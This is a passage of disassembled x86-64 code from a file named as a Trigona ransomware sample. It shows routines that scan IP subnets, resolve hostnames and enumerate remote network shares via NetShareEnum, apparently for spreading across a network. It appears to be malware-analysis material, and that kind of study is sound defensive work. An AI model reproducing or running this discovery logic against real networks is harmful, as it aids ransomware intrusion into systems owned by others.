File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
    0044d320
    0044d320fn_44d320:
    0044d320push rbp
    0044d321sub rsp, 32
    0044d325mov rbp, rsp
    0044d328lea rcx, [rdx+72]
    0044d32cmov rdx, [rip-443]
    0044d333call fn_410600
    0044d338lea rsp, [rbp+32]
    0044d33cpop rbp
    0044d33dret
    0044d320
    0044d33e
    0044d33e // align 0x10
    0044d340
    0044d340fn_44d340:
    0044d340push rbx
    0044d341mov al, 1
    0044d343mov r8, [rdx]
    0044d346test r8, r8
    0044d349je 0x44d34f
    0044d34bmov r8, [r8-8]
    0044d34f
    0044d34floc_44d34f:
    0044d34fxor r9, r9
    0044d352mov r10l, r8l
    0044d355sub r10l, 1
    0044d359mov r8l, r9l
    0044d35ccmp r8l, r10l
    0044d35fjg 0x44d3be
    0044d361sub r10l, r9l
    0044d364add r10l, 1
    0044d368
    0044d368loc_44d368:
    0044d368movsxd r9, r8l
    0044d36bmov r11, [rdx]
    0044d36emov rbx, [rcx]
    0044d371movzx r11, [r11+4*r9]
    0044d376cmp r11b, [rbx]
    0044d379jne 0x44d3b1
    0044d37bmov r11, [rdx]
    0044d37emov rbx, [rcx]
    0044d381movzx r11, [r11+4*r9+1]
    0044d387cmp r11b, [rbx+1]
    0044d38bjne 0x44d3b1
    0044d38dmov r11, [rdx]
    0044d390mov rbx, [rcx]
    0044d393movzx r11, [r11+4*r9+2]
    0044d399cmp r11b, [rbx+2]
    0044d39djne 0x44d3b1
    0044d39fmov r11, [rdx]
    0044d3a2mov rbx, [rcx]
    0044d3a5movzx r9, [r11+4*r9+3]
    0044d3abcmp r9b, [rbx+3]
    0044d3afje 0x44d3c1
    0044d3b1
    0044d3b1loc_44d3b1:
    0044d3b1add r8l, 1
    0044d3b5sub r10l, 1
    0044d3b9test r10l, r10l
    0044d3bcjne 0x44d368
    0044d3be
    0044d3beloc_44d3be:
    0044d3benop
    0044d3bfxor eax, eax
    0044d3c1
    0044d3c1loc_44d3c1:
    0044d3c1pop rbx
    0044d3c2ret
    0044d340
    0044d3c3
    0044d3c3 // align 0x10
    0044d3d0
    0044d3d0fn_44d3d0:
    0044d3d0push rbp
    0044d3d1push rdi
    0044d3d2push rsi
    0044d3d3push rbx
    0044d3d4sub rsp, 104
    0044d3d8mov rbp, rsp
    0044d3dbmov [rbp+56], rcx
    0044d3dfmov [rbp+64], rdx
    0044d3e3mov [rbp+72], r8
    0044d3e7mov [rbp+88], 0
    0044d3efmov [rbp+80], 0
    0044d3f7nop
    0044d3f8mov rcx, [rbp+72]
    0044d3fcmov rdx, [rip-0x1e59b]
    0044d403call fn_410600
    0044d408lea rcx, [rbp+88]
    0044d40cmov rdx, [rip-0x1e5ab]
    0044d413call fn_410600
    0044d418lea rcx, [rbp+80]
    0044d41cmov rdx, [rip-0x1e603]
    0044d423call fn_410600
    0044d428lea rcx, [rbp+80]
    0044d42cmov rdx, [rip-0x1e613]
    0044d433mov r8l, 1
    0044d439mov r9l, 4
    0044d43fcall fn_410430
    0044d444mov rax, [rbp+64]
    0044d448mov rax, [rax]
    0044d44btest rax, rax
    0044d44eje 0x44d454
    0044d450mov rax, [rax-8]
    0044d454
    0044d454loc_44d454:
    0044d454xor ecx, ecx
    0044d456mov edi, eax
    0044d458sub edi, 1
    0044d45bmov ebx, ecx
    0044d45dcmp ebx, edi
    0044d45fjg 0x44d559
    0044d465sub edi, ecx
    0044d467add edi, 1
    0044d46a
    0044d46aloc_44d46a:
    0044d46amovsxd rax, ebx
    0044d46dmov rcx, [rbp+80]
    0044d471mov rdx, [rbp+64]
    0044d475mov rdx, [rdx]
    0044d478movzx rdx, [rdx+4*rax]
    0044d47dmov [rcx], dl
    0044d47fmov rcx, [rbp+80]
    0044d483mov rdx, [rbp+64]
    0044d487mov rdx, [rdx]
    0044d48amovzx rdx, [rdx+4*rax+1]
    0044d490mov [rcx+1], dl
    0044d493mov rcx, [rbp+80]
    0044d497mov rdx, [rbp+64]
    0044d49bmov rdx, [rdx]
    0044d49emovzx rax, [rdx+4*rax+2]
    0044d4a4mov [rcx+2], al
    0044d4a7mov rax, [rbp+80]
    0044d4abmov [rax+3], 0
    0044d4aflea rcx, [rbp+80]
    0044d4b3lea rdx, [rbp+88]
    0044d4b7call fn_44d340
    0044d4bctest al, al
    0044d4bejne 0x44d54b
    0044d4c4lea rcx, [rbp+88]
    0044d4c8mov rax, [rbp+80]
    0044d4ccmovzx rdx, [rax]
    0044d4d0mov rax, [rbp+80]
    0044d4d4movzx r8, [rax+1]
    0044d4d9mov rax, [rbp+80]
    0044d4ddmovzx r9, [rax+2]
    0044d4e2mov rax, [rbp+80]
    0044d4e6movzx rax, [rax+3]
    0044d4ebmov [rsp+32], al
    0044d4efcall fn_42f390
    0044d4f4xor esi, esi
    0044d4f6
    0044d4f6loc_44d4f6:
    0044d4f6mov rax, [rbp+80]
    0044d4famov [rax+3], sil
    0044d4felea rcx, [rbp+80]
    0044d502mov rdx, [rbp+56]
    0044d506call fn_44d340
    0044d50btest al, al
    0044d50djne 0x44d53f
    0044d50fmov rcx, [rbp+72]
    0044d513mov rax, [rbp+80]
    0044d517movzx rdx, [rax]
    0044d51bmov rax, [rbp+80]
    0044d51fmovzx r8, [rax+1]
    0044d524mov rax, [rbp+80]
    0044d528movzx r9, [rax+2]
    0044d52dmov rax, [rbp+80]
    0044d531movzx rax, [rax+3]
    0044d536mov [rsp+32], al
    0044d53acall fn_42f390
    0044d53f
    0044d53floc_44d53f:
    0044d53fadd esi, 1
    0044d542cmp esi, 256
    0044d548jne 0x44d4f6
    0044d54anop
    0044d54b
    0044d54bloc_44d54b:
    0044d54badd ebx, 1
    0044d54esub edi, 1
    0044d551test edi, edi
    0044d553jne 0x44d46a
    0044d559
    0044d559loc_44d559:
    0044d559nop
    0044d55anop
    0044d55blea rcx, [rbp+80]
    0044d55fmov rdx, [rip-0x1e746]
    0044d566call fn_410600
    0044d56blea rcx, [rbp+88]
    0044d56fmov rdx, [rip-0x1e70e]
    0044d576call fn_410600
    0044d57blea rsp, [rbp+104]
    0044d57fpop rbx
    0044d580pop rsi
    0044d581pop rdi
    0044d582pop rbp
    0044d583ret
    0044d3d0
    0044d584
    0044d584 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
    0044d590
    0044d590fn_44d590:
    0044d590push rbp
    0044d591push rbx
    0044d592sub rsp, 40
    0044d596mov rbp, rsp
    0044d599mov rbx, rdx
    0044d59clea rcx, [rbx+80]
    0044d5a0mov rdx, [rip-0x1e787]
    0044d5a7call fn_410600
    0044d5aclea rcx, [rbx+88]
    0044d5b0mov rdx, [rip-0x1e74f]
    0044d5b7call fn_410600
    0044d5bclea rsp, [rbp+40]
    0044d5c0pop rbx
    0044d5c1pop rbp
    0044d5c2ret
    0044d590
    0044d5c3
    0044d5c3 // align 0x10
    0044d5d0
    0044d5d0fn_44d5d0:
    0044d5d0push rbp
    0044d5d1push rbx
    0044d5d2sub rsp, 72
    0044d5d6mov rbp, rsp
    0044d5d9mov [rbp+32], rcx
    0044d5ddmov [rbp+40], 0
    0044d5e5mov [rbp+48], 0
    0044d5ednop
    0044d5eemov rax, [rbp+32]
    0044d5f2mov ebx, [rax]
    0044d5f4lea rcx, [rbp+48]
    0044d5f8mov rdx, [rip-0x1e7df]
    0044d5ffcall fn_410600
    0044d604lea rcx, [rbp+48]
    0044d608mov rdx, [rip-0x1e7ef]
    0044d60fmov r8l, 1
    0044d615mov r9l, 4
    0044d61bcall fn_410430
    0044d620movsxd rbx, ebx
    0044d623mov rax, [rbp+48]
    0044d627mov rcx, [rip+0x23152]
    0044d62emov rdx, rbx
    0044d631add rdx, rdx
    0044d634add rdx, rdx
    0044d637movzx rcx, [rcx+8*rdx+7]
    0044d63dmov [rax], cl
    0044d63fmov rax, [rbp+48]
    0044d643mov rcx, [rip+0x23136]
    0044d64amov rdx, rbx
    0044d64dadd rdx, rdx
    0044d650add rdx, rdx
    0044d653movzx rcx, [rcx+8*rdx+6]
    0044d659mov [rax+1], cl
    0044d65cmov rax, [rbp+48]
    0044d660mov rcx, [rip+0x23119]
    0044d667mov rdx, rbx
    0044d66aadd rdx, rdx
    0044d66dadd rdx, rdx
    0044d670movzx rcx, [rcx+8*rdx+5]
    0044d676mov [rax+2], cl
    0044d679mov rax, [rbp+48]
    0044d67dmov rcx, [rip+0x230fc]
    0044d684mov rdx, rbx
    0044d687add rdx, rdx
    0044d68aadd rdx, rdx
    0044d68dmovzx rcx, [rcx+8*rdx+4]
    0044d693mov [rax+3], cl
    0044d696lea rcx, [rbp+48]
    0044d69acall fn_430a00
    0044d69fmov [rbp+60], eax
    0044d6a2cmp [rbp+60], -1
    0044d6a6jne 0x44d6bc
    0044d6a8mov rax, [rip+0x230d1]
    0044d6afadd rbx, rbx
    0044d6b2add rbx, rbx
    0044d6b5mov [rax+8*rbx+25], 1
    0044d6bajmp 0x44d719
    0044d6bc
    0044d6bcloc_44d6bc:
    0044d6bclea rcx, [rbp+60]
    0044d6c0mov edx, 4
    0044d6c5mov r8l, 2
    0044d6cbcall gethostbyaddr
    0044d6d0test rax, rax
    0044d6d3je 0x44d706
    0044d6d5lea rcx, [rbp+40]
    0044d6d9mov rdx, [rax]
    0044d6dccall fn_40d0a0
    0044d6e1mov rax, [rip+0x23098]
    0044d6e8mov rcx, rbx
    0044d6ebadd rcx, rcx
    0044d6eeadd rcx, rcx
    0044d6f1lea rcx, [rax+8*rcx+8]
    0044d6f6lea rdx, [rip+115]
    0044d6fdmov r8, [rbp+40]
    0044d701call fn_40d230
    0044d706
    0044d706loc_44d706:
    0044d706mov rax, [rip+0x23073]
    0044d70dadd rbx, rbx
    0044d710add rbx, rbx
    0044d713mov [rax+8*rbx+25], 1
    0044d718nop
    0044d719
    0044d719loc_44d719:
    0044d719lea rcx, [rbp+40]
    0044d71dcall fn_40bd90
    0044d722lea rcx, [rbp+48]
    0044d726mov rdx, [rip-0x1e90d]
    0044d72dcall fn_410600
    0044d732lea rsp, [rbp+72]
    0044d736pop rbx
    0044d737pop rbp
    0044d738ret
    0044d5d0
    0044d739
    0044d739 48 8d 80 00 00 00 00 H......
    0044d740
    0044d740fn_44d740:
    0044d740push rbp
    0044d741push rbx
    0044d742sub rsp, 40
    0044d746mov rbp, rsp
    0044d749mov rbx, rdx
    0044d74clea rcx, [rbx+40]
    0044d750call fn_40bd90
    0044d755lea rcx, [rbx+48]
    0044d759mov rdx, [rip-0x1e940]
    0044d760call fn_410600
    0044d765lea rsp, [rbp+40]
    0044d769pop rbx
    0044d76apop rbp
    0044d76bret
    0044d740
    0044d76c
    0044d76c 04 00 00 00 ....
    0044d770 5c 00 5c 00 00 00 cc cc cc cc cc cc cc cc cc cc \.\.............
    0044d780
    0044d780fn_44d780:
    0044d780push rbp
    0044d781push rbx
    0044d782sub rsp, 264
    0044d789mov rbp, rsp
    0044d78cmov [rbp+104], 0
    0044d794mov [rbp+80], 0
    0044d79cmov [rbp+96], 0
    0044d7a4mov [rbp+88], 0
    0044d7acmov [rbp+112], 0
    0044d7b4mov [rbp+152], 0
    0044d7bfmov [rbp+144], 0
    0044d7camov [rbp+136], 0
    0044d7d5mov [rbp+128], 0
    0044d7e0mov [rbp+120], 0
    0044d7e8mov [rbp+184], 0
    0044d7f3mov [rbp+160], 0
    0044d7femov [rbp+176], 0
    0044d809mov [rbp+168], 0
    0044d814mov [rbp+192], 0
    0044d81fmov [rbp+200], rbp
    0044d826mov [rbp+288], rcx
    0044d82dnop
    0044d82emov rax, [rbp+288]
    0044d835mov [rbp+216], rax
    0044d83cmov rax, [rbp+216]
    0044d843mov eax, [rax]
    0044d845mov [rbp+212], eax
    0044d84bmovsxd rbx, [rbp+212]
    0044d852mov rax, [rip+0x22f27]
    0044d859mov rcx, rbx
    0044d85cadd rcx, rcx
    0044d85fadd rcx, rcx
    0044d862lea rcx, [rax+8*rcx+16]
    0044d867mov rdx, [rip-0x1e9c6]
    0044d86ecall fn_410600
    0044d873lea rcx, [rbp+192]
    0044d87amov rax, [rip+0x22eff]
    0044d881mov rdx, rbx
    0044d884add rdx, rdx
    0044d887add rdx, rdx
    0044d88amov rdx, [rax+8*rdx+8]
    0044d88fxor r8, r8
    0044d892call fn_40c8e0
    0044d897mov rcx, [rbp+192]
    0044d89ecall fn_40fc50
    0044d8a3mov [rbp+224], rax
    0044d8aamov rcx, [rbp+224]
    0044d8b1mov edx, 1
    0044d8b6lea r8, [rbp+248]
    0044d8bdor r9l, -1
    0044d8c1lea rax, [rbp+244]
    0044d8c8mov [rsp+32], rax
    0044d8cdlea rax, [rbp+240]
    0044d8d4mov [rsp+40], rax
    0044d8d9mov [rsp+48], 0
    0044d8e2call NetShareEnum
    0044d8e7test eax, eax
    0044d8e9jne 0x44d9cf
    0044d8efnop
    0044d8f0xor eax, eax
    0044d8f2mov ebx, [rbp+244]
    0044d8f8sub ebx, 1
    0044d8fbmov [rbp+236], eax
    0044d901cmp [rbp+236], ebx
    0044d907jg 0x44d9bc
    0044d90dsub ebx, eax
    0044d90fadd ebx, 1
    0044d912
    0044d912loc_44d912:
    0044d912lea rcx, [rbp+176]
    0044d919mov rdx, [rbp+224]
    0044d920call fn_40d780
    0044d925lea rcx, [rbp+168]
    0044d92cmov rax, [rbp+248]
    0044d933movsxd rdx, [rbp+236]
    0044d93alea rdx, [rdx+2*rdx]
    0044d93emov rdx, [rax+8*rdx]
    0044d942call fn_40d780
    0044d947lea rcx, [rbp+184]
    0044d94emov edx, 3
    0044d953mov r8, [rbp+176]
    0044d95alea r9, [rip+999]
    0044d961mov rax, [rbp+168]
    0044d968mov [rsp+32], rax
    0044d96dcall fn_40dbb0
    0044d972lea rcx, [rbp+160]
    0044d979mov rdx, [rbp+184]
    0044d980call fn_40d850
    0044d985mov rax, [rip+0x22df4]
    0044d98cmovsxd rcx, [rbp+212]
    0044d993add rcx, rcx
    0044d996add rcx, rcx
    0044d999lea rcx, [rax+8*rcx+16]
    0044d99emov rdx, [rbp+160]
    0044d9a5call fn_42f9a0
    0044d9aaadd [rbp+236], 1
    0044d9b1sub ebx, 1
    0044d9b4test ebx, ebx
    0044d9b6jne 0x44d912
    0044d9bc
    0044d9bcloc_44d9bc:
    0044d9bcnop
    0044d9bdnop
    0044d9bemov rcx, [rbp+248]
    0044d9c5call NetApiBufferFree
    0044d9cajmp 0x44dc0f
    0044d9cf
    0044d9cfloc_44d9cf:
    0044d9cflea rcx, [rbp+144]
    0044d9d6mov rax, [rip+0x22da3]
    0044d9ddmov rdx, rbx
    0044d9e0add rdx, rdx
    0044d9e3add rdx, rdx
    0044d9e6movzx rdx, [rax+8*rdx+4]
    0044d9eccall fn_4225b0
    0044d9f1lea rcx, [rbp+136]
    0044d9f8mov rax, [rip+0x22d81]
    0044d9ffmov rdx, rbx
    0044da02add rdx, rdx
    0044da05add rdx, rdx
    0044da08movzx rdx, [rax+8*rdx+5]
    0044da0ecall fn_4225b0
    0044da13lea rcx, [rbp+128]
    0044da1amov rax, [rip+0x22d5f]
    0044da21mov rdx, rbx
    0044da24add rdx, rdx
    0044da27add rdx, rdx
    0044da2amovzx rdx, [rax+8*rdx+6]
    0044da30call fn_4225b0
    0044da35lea rcx, [rbp+120]
    0044da39mov rax, [rip+0x22d40]
    0044da40mov rdx, rbx
    0044da43add rdx, rdx
    0044da46add rdx, rdx
    0044da49movzx rdx, [rax+8*rdx+7]
    0044da4fcall fn_4225b0
    0044da54lea rcx, [rbp+152]
    0044da5bmov edx, 8
    0044da60lea r8, [rip+753]
    0044da67mov r9, [rbp+144]
    0044da6elea rax, [rip+759]
    0044da75mov [rsp+32], rax
    0044da7amov rax, [rbp+136]
    0044da81mov [rsp+40], rax
    0044da86lea rax, [rip+735]
    0044da8dmov [rsp+48], rax
    0044da92mov rax, [rbp+128]
    0044da99mov [rsp+56], rax
    0044da9elea rax, [rip+711]
    0044daa5mov [rsp+64], rax
    0044daaamov rax, [rbp+120]
    0044daaemov [rsp+72], rax
    0044dab3call fn_40dbb0
    0044dab8mov rax, [rip+0x22cc1]
    0044dabfmov rcx, rbx
    0044dac2add rcx, rcx
    0044dac5add rcx, rcx
    0044dac8lea rcx, [rax+8*rcx+8]
    0044dacdmov rdx, [rbp+152]
    0044dad4call fn_40d850
    0044dad9lea rcx, [rbp+112]
    0044daddmov rax, [rip+0x22c9c]
    0044dae4add rbx, rbx
    0044dae7add rbx, rbx
    0044daeamov rdx, [rax+8*rbx+8]
    0044daefxor r8, r8
    0044daf2call fn_40c8e0
    0044daf7mov rcx, [rbp+112]
    0044dafbcall fn_40fc50
    0044db00mov [rbp+224], rax
    0044db07mov rcx, [rbp+224]
    0044db0emov edx, 1
    0044db13lea r8, [rbp+248]
    0044db1aor r9l, -1
    0044db1elea rax, [rbp+244]
    0044db25mov [rsp+32], rax
    0044db2alea rax, [rbp+240]
    0044db31mov [rsp+40], rax
    0044db36mov [rsp+48], 0
    0044db3fcall NetShareEnum
    0044db44test eax, eax
    0044db46jne 0x44dc0f
    0044db4cnop
    0044db4dxor eax, eax
    0044db4fmov ebx, [rbp+244]
    0044db55sub ebx, 1
    0044db58mov [rbp+236], eax
    0044db5ecmp [rbp+236], ebx
    0044db64jg 0x44dc01
    0044db6asub ebx, eax
    0044db6cadd ebx, 1
    0044db6f
    0044db6floc_44db6f:
    0044db6flea rcx, [rbp+96]
    0044db73mov rdx, [rbp+224]
    0044db7acall fn_40d780
    0044db7flea rcx, [rbp+88]
    0044db83mov rax, [rbp+248]
    0044db8amovsxd rdx, [rbp+236]
    0044db91lea rdx, [rdx+2*rdx]
    0044db95mov rdx, [rax+8*rdx]
    0044db99call fn_40d780
    0044db9elea rcx, [rbp+104]
    0044dba2mov edx, 3
    0044dba7mov r8, [rbp+96]
    0044dbablea r9, [rip+406]
    0044dbb2mov rax, [rbp+88]
    0044dbb6mov [rsp+32], rax
    0044dbbbcall fn_40dbb0
    0044dbc0lea rcx, [rbp+80]
    0044dbc4mov rdx, [rbp+104]
    0044dbc8call fn_40d850
    0044dbcdmov rax, [rip+0x22bac]
    0044dbd4movsxd rcx, [rbp+212]
    0044dbdbadd rcx, rcx
    0044dbdeadd rcx, rcx
    0044dbe1lea rcx, [rax+8*rcx+16]
    0044dbe6mov rdx, [rbp+80]
    0044dbeacall fn_42f9a0
    0044dbefadd [rbp+236], 1
    0044dbf6sub ebx, 1
    0044dbf9test ebx, ebx
    0044dbfbjne 0x44db6f
    0044dc01
    0044dc01loc_44dc01:
    0044dc01nop
    0044dc02nop
    0044dc03mov rcx, [rbp+248]
    0044dc0acall NetApiBufferFree
    0044dc0f
    0044dc0floc_44dc0f:
    0044dc0fmov rax, [rip+0x22b6a]
    0044dc16movsxd rcx, [rbp+212]
    0044dc1dadd rcx, rcx
    0044dc20add rcx, rcx
    0044dc23mov [rax+8*rcx+25], 1
    0044dc28nop
    0044dc29lea rcx, [rbp+80]
    0044dc2dcall fn_40bd90
    0044dc32lea rcx, [rbp+88]
    0044dc36mov edx, 3
    0044dc3bcall fn_40bdd0
    0044dc40lea rcx, [rbp+112]
    0044dc44call fn_40bd40
    0044dc49lea rcx, [rbp+120]
    0044dc4dmov edx, 5
    0044dc52call fn_40bdd0
    0044dc57lea rcx, [rbp+160]
    0044dc5ecall fn_40bd90
    0044dc63lea rcx, [rbp+168]
    0044dc6amov edx, 3
    0044dc6fcall fn_40bdd0
    0044dc74lea rcx, [rbp+192]
    0044dc7bcall fn_40bd40
    0044dc80lea rsp, [rbp+264]
    0044dc87pop rbx
    0044dc88pop rbp
    0044dc89ret
    0044d780
    0044dc8a
    0044dc8a 64 48 8d 44 20 00 dH.D .
    0044dc90
    0044dc90fn_44dc90:
    0044dc90push rbp
    0044dc91sub rsp, 32
    0044dc95mov rbp, rsp
    0044dc98mov rcx, [rdx+248]
    0044dc9fcall NetApiBufferFree
    0044dca4lea rsp, [rbp+32]
    0044dca8pop rbp
    0044dca9ret
    0044dc90
    0044dcaa
    0044dcaa 64 48 8d 44 20 00 dH.D .
    0044dcb0
    0044dcb0fn_44dcb0:
    0044dcb0push rbp
    0044dcb1sub rsp, 32
    0044dcb5mov rbp, rsp
    0044dcb8mov rcx, [rdx+248]
    0044dcbfcall NetApiBufferFree
    0044dcc4lea rsp, [rbp+32]
    0044dcc8pop rbp
    0044dcc9ret
    0044dcb0
    0044dcca
    0044dcca 64 48 8d 44 20 00 dH.D .
    0044dcd0
    0044dcd0fn_44dcd0:
    0044dcd0push rbp
    0044dcd1push rbx
    0044dcd2sub rsp, 40
    0044dcd6mov rbp, rsp
    0044dcd9mov rbx, rdx
    0044dcdclea rcx, [rbx+80]
    0044dce0call fn_40bd90
    0044dce5lea rcx, [rbx+88]
    0044dce9mov edx, 3
    0044dceecall fn_40bdd0
    0044dcf3lea rcx, [rbx+112]
    0044dcf7call fn_40bd40
    0044dcfclea rcx, [rbx+120]
    0044dd00mov edx, 5
    0044dd05call fn_40bdd0
    0044dd0alea rcx, [rbx+160]
    0044dd11call fn_40bd90
    0044dd16lea rcx, [rbx+168]
    0044dd1dmov edx, 3
    0044dd22call fn_40bdd0
    0044dd27lea rcx, [rbx+192]
    0044dd2ecall fn_40bd40
    0044dd33lea rsp, [rbp+40]
    0044dd37pop rbx
    0044dd38pop rbp
    0044dd39ret
    0044dcd0
    0044dd3a
    0044dd3a 00 00 b0 04 02 00 ......
    0044dd40 ff ff ff ff 01 00 00 00 5c 00 00 00 b0 04 02 00 ........\.......
    0044dd50 ff ff ff ff 02 00 00 00 5c 00 5c 00 00 00 00 00 ........\.\.....
    0044dd60 b0 04 02 00 ff ff ff ff 01 00 00 00 2e 00 00 00 ................
    0044dd70
    0044dd70fn_44dd70:
    0044dd70push rbp
    0044dd71push r14
    0044dd73push r13
    0044dd75push rdi
    0044dd76push rsi
    0044dd77push rbx
    0044dd78sub rsp, 120
    0044dd7cmov rbp, rsp
    0044dd7fmov [rbp+56], rcx
    0044dd83mov [rbp+104], 0
    0044dd8bmov [rbp+96], 0
    0044dd93mov [rbp+88], 0
    0044dd9bmov [rbp+80], 0
    0044dda3nop
    0044dda4mov rcx, [rbp+56]
    0044dda8mov rdx, [rip-0x1ef07]
    0044ddafcall fn_410600
    0044ddb4lea rcx, [rbp+104]
    0044ddb8call fn_44c8c0
    0044ddbdlea rcx, [rbp+96]
    0044ddc1lea rdx, [rbp+88]
    0044ddc5call fn_44c940
    0044ddcalea rcx, [rbp+88]
    0044ddcecall fn_44d1b0
    0044ddd3lea rcx, [rbp+88]
    0044ddd7call fn_44d0a0
    0044dddclea rcx, [rbp+96]
    0044dde0lea rdx, [rbp+88]
    0044dde4lea r8, [rbp+80]
    0044dde8call fn_44d3d0
    0044ddedlea rcx, [rip+0x2298c]
    0044ddf4mov rdx, [rip-5811]
    0044ddfbcall fn_410600
    0044de00mov rax, [rbp+80]
    0044de04test rax, rax
    0044de07je 0x44de0d
    0044de09mov rax, [rax-8]
    0044de0d
    0044de0dloc_44de0d:
    0044de0dlea rcx, [rip+0x2296c]
    0044de14mov rdx, [rip-5843]
    0044de1bmov r8l, 1
    0044de21mov r9, rax
    0044de24call fn_410430
    0044de29mov rax, [rbp+80]
    0044de2dtest rax, rax
    0044de30je 0x44de36
    0044de32mov rax, [rax-8]
    0044de36
    0044de36loc_44de36:
    0044de36xor ecx, ecx
    0044de38mov edi, eax
    0044de3asub edi, 1
    0044de3dmov ebx, ecx
    0044de3fcmp ebx, edi
    0044de41jg 0x44df28
    0044de47sub edi, ecx
    0044de49add edi, 1
    0044de4c
    0044de4cloc_44de4c:
    0044de4cmovsxd rsi, ebx
    0044de4fmov rax, [rip+0x2292a]
    0044de56mov rcx, rsi
    0044de59add rcx, rcx
    0044de5cadd rcx, rcx
    0044de5fmov [rax+8*rcx], ebx
    0044de62mov rax, [rip+0x22917]
    0044de69mov rcx, rsi
    0044de6cadd rcx, rcx
    0044de6fadd rcx, rcx
    0044de72mov rdx, [rbp+80]
    0044de76movzx rdx, [rdx+4*rsi]
    0044de7bmov [rax+8*rcx+4], dl
    0044de7fmov rax, [rip+0x228fa]
    0044de86mov rcx, rsi
    0044de89add rcx, rcx
    0044de8cadd rcx, rcx
    0044de8fmov rdx, [rbp+80]
    0044de93movzx rdx, [rdx+4*rsi+1]
    0044de99mov [rax+8*rcx+5], dl
    0044de9dmov rax, [rip+0x228dc]
    0044dea4mov rcx, rsi
    0044dea7add rcx, rcx
    0044deaaadd rcx, rcx
    0044deadmov rdx, [rbp+80]
    0044deb1movzx rdx, [rdx+4*rsi+2]
    0044deb7mov [rax+8*rcx+6], dl
    0044debbmov rax, [rip+0x228be]
    0044dec2mov rcx, rsi
    0044dec5add rcx, rcx
    0044dec8add rcx, rcx
    0044decbmov rdx, [rbp+80]
    0044decfmovzx rdx, [rdx+4*rsi+3]
    0044ded5mov [rax+8*rcx+7], dl
    0044ded9mov rax, [rip+0x228a0]
    0044dee0mov rcx, rsi
    0044dee3add rcx, rcx
    0044dee6add rcx, rcx
    0044dee9lea rcx, [rax+8*rcx+8]
    0044deeecall fn_40bd90
    0044def3mov rax, [rip+0x22886]
    0044defamov rcx, rsi
    0044defdadd rcx, rcx
    0044df00add rcx, rcx
    0044df03mov [rax+8*rcx+24], 0
    0044df08mov rax, [rip+0x22871]
    0044df0fadd rsi, rsi
    0044df12add rsi, rsi
    0044df15mov [rax+8*rsi+25], 0
    0044df1aadd ebx, 1
    0044df1dsub edi, 1
    0044df20test edi, edi
    0044df22jne 0x44de4c
    0044df28
    0044df28loc_44df28:
    0044df28nop
    0044df29lea rcx, [rbp+96]
    0044df2dmov rdx, [rip-0x1f0cc]
    0044df34call fn_410600
    0044df39lea rcx, [rbp+80]
    0044df3dmov rdx, [rip-0x1f0dc]
    0044df44call fn_410600
    0044df49mov rax, [rip+0x22830]
    0044df50test rax, rax
    0044df53je 0x44df59
    0044df55mov rax, [rax-8]
    0044df59
    0044df59loc_44df59:
    0044df59xor ecx, ecx
    0044df5bmov esi, eax
    0044df5dsub esi, 1
    0044df60mov ebx, ecx
    0044df62cmp ebx, esi
    0044df64jg 0x44dfc7
    0044df66sub esi, ecx
    0044df68add esi, 1
    0044df6bjmp 0x44df77
    0044df6d
    0044df6dloc_44df6d:
    0044df6dmov ecx, 3000
    0044df72call Sleep
    0044df77
    0044df77loc_44df77:
    0044df77xor ecx, ecx
    0044df79xor edx, edx
    0044df7blea r8, [rip-2482]
    0044df82mov rax, [rip+0x227f7]
    0044df89movsxd r9, ebx
    0044df8cadd r9, r9
    0044df8fadd r9, r9
    0044df92lea r9, [rax+8*r9]
    0044df96mov [rsp+32], 0
    0044df9elea rax, [rbp+76]
    0044dfa2mov [rsp+40], rax
    0044dfa7call fn_40bb20
    0044dfactest rax, rax
    0044dfafje 0x44df6d
    0044dfb1mov ecx, ebx
    0044dfb3mov edx, 1000
    0044dfb8call fn_44c7b0
    0044dfbdadd ebx, 1
    0044dfc0sub esi, 1
    0044dfc3test esi, esi
    0044dfc5jne 0x44df77
    0044dfc7
    0044dfc7loc_44dfc7:
    0044dfc7nop
    0044dfc8jmp 0x44dfd4
    0044dfca
    0044dfcaloc_44dfca:
    0044dfcamov ecx, 2000
    0044dfcfcall Sleep
    0044dfd4
    0044dfd4loc_44dfd4:
    0044dfd4call fn_44c860
    0044dfd9test al, al
    0044dfdbje 0x44dfca
    0044dfddmov rax, [rip+0x2279c]
    0044dfe4test rax, rax
    0044dfe7je 0x44dfed
    0044dfe9mov rax, [rax-8]
    0044dfed
    0044dfedloc_44dfed:
    0044dfedxor ecx, ecx
    0044dfefmov edi, eax
    0044dff1sub edi, 1
    0044dff4mov ebx, ecx
    0044dff6cmp ebx, edi
    0044dff8jg 0x44e075
    0044dffasub edi, ecx
    0044dffcadd edi, 1
    0044dfff
    0044dfffloc_44dfff:
    0044dfffmov rax, [rip+0x2277a]
    0044e006movsxd rcx, ebx
    0044e009add rcx, rcx
    0044e00cadd rcx, rcx
    0044e00fmov [rax+8*rcx+24], 0
    0044e014movsxd rsi, ebx
    0044e017mov rax, [rip+0x22762]
    0044e01emov rcx, rsi
    0044e021add rcx, rcx
    0044e024add rcx, rcx
    0044e027mov rcx, [rax+8*rcx+8]
    0044e02cxor edx, edx
    0044e02ecall fn_40d640
    0044e033test eax, eax
    0044e035je 0x44e06b
    0044e037mov rax, [rip+0x22742]
    0044e03emov rcx, rsi
    0044e041add rcx, rcx
    0044e044add rcx, rcx
    0044e047mov rcx, [rax+8*rcx+8]
    0044e04cmov rdx, [rbp+104]
    0044e050call fn_40d640
    0044e055test eax, eax
    0044e057je 0x44e06b
    0044e059mov rax, [rip+0x22720]
    0044e060add rsi, rsi
    0044e063add rsi, rsi
    0044e066mov [rax+8*rsi+25], 0
    0044e06b
    0044e06bloc_44e06b:
    0044e06badd ebx, 1
    0044e06esub edi, 1
    0044e071test edi, edi
    0044e073jne 0x44dfff
    0044e075
    0044e075loc_44e075:
    0044e075nop
    0044e076mov rax, [rip+0x22703]
    0044e07dtest rax, rax
    0044e080je 0x44e086
    0044e082mov rax, [rax-8]
    0044e086
    0044e086loc_44e086:
    0044e086xor ecx, ecx
    0044e088mov esi, eax
    0044e08asub esi, 1
    0044e08dmov ebx, ecx
    0044e08fcmp ebx, esi
    0044e091jg 0x44e10b
    0044e093sub esi, ecx
    0044e095add esi, 1
    0044e098
    0044e098loc_44e098:
    0044e098mov rax, [rip+0x226e1]
    0044e09fmovsxd rcx, ebx
    0044e0a2add rcx, rcx
    0044e0a5add rcx, rcx
    0044e0a8cmp [rax+8*rcx+25], 0
    0044e0adjne 0x44e101
    0044e0afjmp 0x44e0bb
    0044e0b1
    0044e0b1loc_44e0b1:
